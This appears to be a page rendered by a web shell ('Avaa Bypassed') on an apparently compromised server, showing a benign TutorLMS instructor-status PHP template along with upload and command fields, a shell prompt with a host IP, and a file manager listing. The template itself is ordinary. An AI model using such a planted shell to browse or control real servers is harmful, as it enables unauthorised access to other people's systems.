[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.149.241.62: ~ $
<?php

/**
 * @package TutorLMS/Templates
 * @version 1.4.3
 */

$is_instructor = tutor_utils()->is_instructor();
if ($is_instructor) {
?>
    <?php
    $user_id = get_current_user_id();
    $instructor_status = get_user_meta($user_id, '_tutor_instructor_status', true);

    ?>

    <div class="tutor-instructor-pending-wrapper">
        <div class="tutor-alert <?php echo esc_attr($instructor_status == 'pending' ? 'tutor-alert-info' : ($instructor_status == 'approved' ? 'tutor-alert-success' : ($instructor_status == 'blocked' ? 'tutor-alert-danger' : ''))); ?>">

            <?php
            if ($instructor_status == 'pending') {
                echo esc_html__('Your application will be reviewed and the results will be sent to you by email.', 'zilom');
            } else if ($instructor_status == 'approved') {
                echo esc_html__('Your application has been accepted. Further necessary details have been sent to your registered email account.', 'zilom');
            } else if ($instructor_status == 'blocked') {
                echo esc_html__('You have been blocked from being an instructor.', 'zilom');
            }
            ?>
        </div>

        <div class="tutor-instructor-pending-content">
            <img src="<?php echo esc_url(tutor()->url . 'assets/images/new-user.png') ?>" alt="<?php echo esc_attr__('New User', 'zilom') ?>">
            <div class="tutor-instructor-thankyou-wrapper">
                <div class="tutor-instructor-thankyou-text">
                    <h2>
                        <?php
                        if ($instructor_status == 'pending') {
                            echo esc_html__('Thank you for registering as an instructor! ', 'zilom');
                        } else if ($instructor_status == 'approved') {
                            echo esc_html__('Congratulations! You are now registered as an instructor.', 'zilom');
                        } else if ($instructor_status == 'blocked') {
                            echo esc_html__('Unfortunately, your instructor status has been removed.', 'zilom');
                        }
                        ?>
                    </h2>
                </div>
                <div class="tutor-instructor-extra-text">
                    <p>
                        <?php
                        if ($instructor_status == 'pending') {
                            echo esc_html__('We\'ve received your application, and we will review it soon. Please hang tight!', 'zilom');
                        } else if ($instructor_status == 'approved') {
                            echo esc_html__('Start building your first course today and let your eLearning journey begin.', 'zilom');
                        } else if ($instructor_status == 'blocked') {
                            echo esc_html__('Please contact the site administrator for further information.', 'zilom');
                        }
                        ?>
                    </p>
                </div>

                <a class="tutor-button" href="<?php echo esc_url(tutor_utils()->tutor_dashboard_url()) ?>">
                    <?php echo esc_html__('Go to Dashboard', 'zilom'); ?>
                </a>
            </div>
        </div>
    </div>

<?php } else {
    tutor_load_template('dashboard.instructor.apply_for_instructor');
} ?>

Filemanager

Name Type Size Permission Actions
apply_for_instructor.php File 586 B 0644
logged-in.php File 3.25 KB 0644
registration.php File 5.2 KB 0644